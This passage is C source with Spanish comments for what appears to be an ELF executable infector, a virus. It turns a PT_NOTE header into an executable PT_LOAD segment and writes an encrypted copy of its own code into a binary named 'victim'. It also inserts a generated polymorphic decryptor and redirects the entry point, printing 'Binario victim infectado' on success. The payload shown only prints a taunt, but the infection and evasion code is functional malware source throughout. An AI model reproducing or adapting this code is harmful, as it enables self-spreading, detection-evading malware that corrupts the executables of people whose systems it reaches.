lseek (fd, Ehdr->e_phoff + note_idx * sizeof (Elf32_Phdr), SEEK_SET);
read (fd, &phdr, sizeof (Elf32_Phdr));
phdr.p_type = PT_LOAD;
/* Alineamos al tamaño de página, esto es una restricción necesaria, ya
que el kernel sólo puede definir nuevos segmentos a partir de nuevas
páginas */
phdr.p_vaddr = phdr.p_paddr = ALIGN (lowest_va, 4096) - ALIGN (size, 4096);
phdr.p_filesz = size;
phdr.p_memsz = ALIGN (size, 4096);
phdr.p_flags = PF_X | PF_W | PF_R;
phdr.p_offset = offset;
phdr.p_align = 4096;
lseek (fd, Ehdr->e_phoff + note_idx * sizeof (Elf32_Phdr), SEEK_SET);
if (write (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
return -1;
*note_vaddr = phdr.p_vaddr;
return 0;
}
int
inject (int fd, void *base, off_t offset, size_t size, int encrypt)
{
int i;
char *bytes;
char byte;
if (lseek (fd, offset, SEEK_SET) < 0)
return -1;
if (encrypt)
{
bytes = (char *) base;
for (i = 0; i < size; i++)
{
byte = bytes[i] ^ lfsr (&encrypt);
if (write (fd, &byte, 1) < 1)
return -1;
}
}
else
if (write (fd, base, size) < size)
return -1;
return 0;
}
void
write_zeroes (int fd, int bytes)
{
int i;
int null = 0;
for (i = 0; i < bytes; i++)
write (fd, &null, 1);
}
void
payload (void)
{
char msg[] = "DISASSEMBLE ME, I DARE YOU MOTHERFUCKER\\n";
write (1, msg, sizeof (msg) - 1);
}
/* Punto de entrada, como el main () pero en cutre y sin ayudas de ningún tipo */
void
_start (void)
{
char buffer[9];
Elf32_Ehdr Ehdr;
size_t binsize;
size_t binsize_aligned;
size_t code_size;
char *decryptor;
int fd;
int key;
off_t gap_off;
uint32_t gap_vaddr;
size_t gap_size;
int text_idx;
uint32_t limit_bottom;
uint32_t limit_top;
uint32_t limit_middle;
uint32_t note_vaddr;
get_code_limits (&limit_bottom, &limit_middle, &limit_top);
code_size = limit_top - limit_bottom;
if ((fd = open_elf ("victim", &Ehdr)) == -1)
{
DEBUG ("No se pudo abrir el ejecutable victim.\\n");
for (;;);
}
if (get_gap_info (fd, &Ehdr, &text_idx, &gap_off, &gap_vaddr, &gap_size) == -1)
{
DEBUG ("No se puede encontrar el segmento de texto\\n");
for (;;);
}
binsize = lseek (fd, 0, SEEK_END);
binsize_aligned = ALIGN (binsize, 4096);
/* Rellenamos con cero hasta llegar a un desplazamiento alineado al tamaño
de página de x86 */
write_zeroes (fd, binsize_aligned - binsize - 4);
if (replace_note (fd, &Ehdr, binsize_aligned, code_size, ¬e_vaddr) == -1)
{
DEBUG ("No se pudo reemplazar PT_NOTE.\\n");
for (;;);
}
while (!(key = times ()));
/* Ahora vamos a generar una rutina de desencriptado con nuestro flamante motor
polimórfico del rastro de los domingos. La bomba: */
decryptor = alloca (gap_size);
if (gen_decryptor (key, Ehdr.e_entry, note_vaddr, gap_size, decryptor) == -1)
{
DEBUG ("No se puedo generar una rutina de desencriptado (no cabe)\\n");
for (;;);
}
if (inject (fd, decryptor, gap_off, gap_size, 0) == -1)
{
DEBUG ("No se pudo inyectar la rutina de desencriptado.\\n");
for (;;);
}
if (inject (fd, (void *) limit_bottom, binsize_aligned, code_size, key) == -1)
{
DEBUG ("No se pudo inyectar el cuerpo encriptado.\\n");
for (;;);
}
/* El punto de entrada está siempre en el offset 24 */
inject (fd, &gap_vaddr, 24, sizeof (uint32_t), 0);
DEBUG ("Binario victim infectado.\\n");
for (;;);
}